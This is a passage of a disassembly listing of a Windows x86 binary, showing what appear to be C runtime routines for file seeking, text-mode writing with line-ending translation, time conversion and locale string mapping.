		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2650000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2760000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2670859h
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2670859h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		call	near ptr 2670859h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 26410DBh
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26410DBh
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 281102Fh
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
